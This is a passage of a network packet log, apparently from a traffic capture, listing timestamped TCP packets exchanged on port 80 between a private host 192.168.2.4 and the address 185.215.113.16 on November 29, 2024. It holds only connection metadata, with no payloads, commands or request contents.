Nov 29, 2024 20:07:31.484122038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.484163046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.485611916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.485651970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.485703945 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.485744953 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.487163067 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.487205029 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.487283945 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.487345934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.488763094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.488802910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.488818884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.488868952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.490294933 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.490345001 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.490515947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.490557909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.491849899 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.491899014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.491980076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.492024899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.493439913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.493486881 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.493558884 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.493618011 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.495024920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.495073080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.495234966 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.495284081 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.496562958 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.496608973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.496649981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.496697903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.498121023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.498164892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.498226881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.498269081 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.499656916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.499696970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.499771118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.499814034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.501240015 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.501282930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.501400948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.501446962 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.502774954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.502820015 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.502929926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.502979994 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.504369974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.504424095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.504523039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.504571915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.505898952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.505939007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.506011963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.506057024 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.507460117 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.507515907 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.507553101 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.507601023 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.509025097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.509068966 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.509099007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.509141922 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.510598898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.510616064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.510648966 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.510648966 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.512185097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.512228012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.512301922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.512342930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.513701916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.513794899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.513840914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.513890028 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.515300989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.515347004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.515366077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.515410900 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.516824961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.516870975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.516907930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.516958952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.636811972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.636852026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.636873007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.636926889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.637430906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.637475967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.637490988 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.637535095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.638781071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.638827085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.638943911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.638988972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.640108109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.640151978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.640492916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.640544891 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.640585899 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.640630960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.642595053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.642642021 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.642754078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.642796040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.643171072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.643217087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.643332958 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.643382072 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.644464970 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.644515038 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.644584894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.644630909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.645817041 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.645864964 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.645905972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.645944118 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.647105932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.647149086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.647228956 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.647296906 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.648431063 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.648473024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.648473978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.648523092 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.649750948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.649796009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.649856091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.649897099 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.651072979 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.651114941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.651151896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.651187897 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.652429104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.652471066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.652508020 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.652549028 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.653731108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.653772116 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.653784990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.653832912 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.655040026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.655083895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.655131102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.655175924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.656373978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.656429052 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.656492949 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.656534910 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.657702923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.657752037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.657876968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.657915115 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.659012079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.659061909 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.659061909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.659118891 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.660368919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.660412073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.660480022 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.660516977 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.661693096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.661736012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.661855936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.661905050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.662990093 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.663029909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.663054943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.663110971 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.664352894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.664400101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.664486885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.664529085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.665649891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.665690899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.665707111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.665749073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.666968107 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.666994095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.667011023 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.667045116 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.668329954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.668385983 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.668422937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.668468952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.669600010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.669641018 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.669714928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.669754982 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.670921087 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.670967102 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.671049118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.671092033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.672251940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.672292948 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.672353983 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.672390938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.673584938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.673631907 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.673715115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.673760891 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.674896002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.674942017 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.675000906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.675040960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.676212072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.676253080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.676337004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.676379919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.677555084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.677597046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.677728891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.677771091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.678893089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.678930998 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.678973913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.679017067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.680118084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.680159092 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.680182934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.680227041 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.681356907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.681401968 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.681498051 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.681536913 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.682569981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.682609081 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.682681084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.682722092 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.683821917 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.683864117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.683936119 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.683984995 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.685061932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.685115099 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.685152054 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.685195923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.686289072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.686331034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.686393976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.686440945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.687778950 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.687824965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.687855959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.687896967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.688836098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.688880920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.688990116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.689033031 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.689980984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.690025091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.690040112 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.690082073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.691185951 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.691229105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.691315889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.691355944 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.692447901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.692488909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.692521095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.692565918 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.693811893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.693851948 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.693932056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.693974972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.694943905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.694992065 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.694993019 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.695036888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.696165085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.696208954 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.696278095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.696316004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.697350025 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.697396994 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.697402000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.697443008 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.698673010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.698715925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.698755026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.698797941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.699832916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.699878931 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.699919939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.699959993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.701052904 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.701095104 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.701155901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.701195955 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.702318907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.702358961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.702395916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.702440023 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.703543901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.703591108 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.703632116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.703677893 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.837907076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.837975025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.838139057 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.838186979 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.838268995 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.838316917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.838355064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.838414907 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.839483023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.839529037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.839601040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.839643002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.840699911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.840758085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.840795994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.840837002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.841597080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.841646910 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.841666937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.841727018 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.842844963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.842890024 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.842963934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.843007088 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.844084978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.844131947 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.844249964 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.844286919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.845351934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.845392942 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.845429897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.845474958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.846621990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.846666098 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.846683979 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.846721888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.847903967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.847948074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.847963095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.848004103 CET	50068	80	192.168.2.4	185.215.113.16
